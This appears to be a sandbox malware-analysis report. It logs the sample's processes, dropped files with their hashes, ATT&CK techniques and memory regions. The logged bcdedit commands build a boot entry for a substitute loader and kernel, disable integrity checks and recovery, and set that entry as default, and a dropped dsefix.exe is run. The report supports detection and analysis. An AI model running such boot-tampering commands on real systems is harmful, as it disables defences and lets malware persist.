C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:3724

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:3344

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:5024

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:4916

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:4580

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:4276

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:1940

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:4416

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:4360

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:4384

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:560

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
5⤵
- Modifies boot configuration data using bcdedit
PID:416

C:\Windows\System32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1224

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
PID:1288

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.7MB

MD5
81703610976f32d1c1f091cf3c9d672e

SHA1
16c099c944685a8e597aef71ff1c78bdf190a0c4

SHA256
7ebcfa350728f258d2df454a58ef1866c5ec430b575fd239518af3ec92c29984

SHA512
818ed03701aaf1869172fd7be84cb4fd9380d9be6e7aa13b4cd65a68330bb8ff741623504672f056afb5d7881c73eb3d2ea31b52c953128fead19af7428c2e57

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.7MB

MD5
81703610976f32d1c1f091cf3c9d672e

SHA1
16c099c944685a8e597aef71ff1c78bdf190a0c4

SHA256
7ebcfa350728f258d2df454a58ef1866c5ec430b575fd239518af3ec92c29984

SHA512
818ed03701aaf1869172fd7be84cb4fd9380d9be6e7aa13b4cd65a68330bb8ff741623504672f056afb5d7881c73eb3d2ea31b52c953128fead19af7428c2e57

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
7.9MB

MD5
335ee604bc5976ee83b38f3dddfed723

SHA1
2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

SHA256
8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

SHA512
87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
1.1MB

MD5
78c581e475d59efdebee2d3f4355f03f

SHA1
fda6c1f77f772afaa1b44a44c1fb29ee07434d10

SHA256
9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

SHA512
35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
memory/416-152-0x0000000000000000-mapping.dmp

Download
memory/560-151-0x0000000000000000-mapping.dmp

Download
memory/1224-153-0x0000000000000000-mapping.dmp

Download
memory/1288-154-0x0000000000000000-mapping.dmp

Download
memory/1368-126-0x0000000000000000-mapping.dmp

Download
memory/1940-147-0x0000000000000000-mapping.dmp

Download
memory/2032-127-0x0000000000000000-mapping.dmp

Download
memory/3152-132-0x0000000002D00000-0x00000000030AA000-memory.dmp

Filesize
3.7MB

Download
memory/3152-133-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/3152-128-0x0000000000000000-mapping.dmp

Download
memory/3344-142-0x0000000000000000-mapping.dmp

Download
memory/3560-124-0x0000000000000000-mapping.dmp

Download
memory/3612-139-0x0000000000000000-mapping.dmp

Download
memory/3724-141-0x0000000000000000-mapping.dmp

Download
memory/3792-140-0x0000000000000000-mapping.dmp

Download
memory/4276-146-0x0000000000000000-mapping.dmp

Download
memory/4360-149-0x0000000000000000-mapping.dmp

Download
memory/4384-150-0x0000000000000000-mapping.dmp

Download
memory/4416-148-0x0000000000000000-mapping.dmp

Download
memory/4580-145-0x0000000000000000-mapping.dmp

Download
memory/4696-118-0x0000000002960000-0x0000000002D18000-memory.dmp

Filesize
3.7MB

Download
memory/4696-120-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/4696-119-0x0000000002D20000-0x000000000341C000-memory.dmp

Filesize
7.0MB

Download
memory/4820-123-0x0000000002910000-0x0000000002CC2000-memory.dmp

Filesize
3.7MB

Download
memory/4820-125-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/4916-144-0x0000000000000000-mapping.dmp

Download
memory/5024-143-0x0000000000000000-mapping.dmp

Download
memory/5112-122-0x0000000000000000-mapping.dmp

Download